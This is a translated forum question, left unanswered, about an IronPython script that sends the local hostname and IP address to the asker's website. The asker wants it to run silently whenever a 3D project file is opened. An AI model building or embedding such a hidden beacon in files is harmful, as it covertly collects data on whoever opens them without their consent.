我想运行ironpython脚本来了解文件的打开位置,因此我编写了一个程序,该程序将为我提供打开文件的系统的ip地址
这是我的密码
import sys
import socket
hostname = socket.gethostname()
ipadd = socket.gethostbyname(hostname)
########################################################
from System.Net import WebRequest
from System.IO import StreamReader
from System.Text import Encoding
def UrlOpen(uri, parameters=None):
request = WebRequest.Create(uri)
if parameters is not None:
request.ContentType = "application/x-www-form-urlencoded"
request.Method = "POST"
bytes = Encoding.ASCII.GetBytes(parameters)
request.ContentLength = bytes.Length
reqStream = request.GetRequestStream()
reqStream.Write(bytes, 0, bytes.Length)
reqStream.Close()
response = request.GetResponse()
result = StreamReader(response.GetResponseStream()).ReadToEnd()
return result
print(UrlOpen("my website","pc-name="+hostname+"&ip="+ipadd))
这很好,但是我想把这个脚本绑定到我的项目/文件,这样当这个文件被打开/导入到3d软件中时,我上面的脚本就会运行
目前没有回答
相关问题 更多 >
编程相关推荐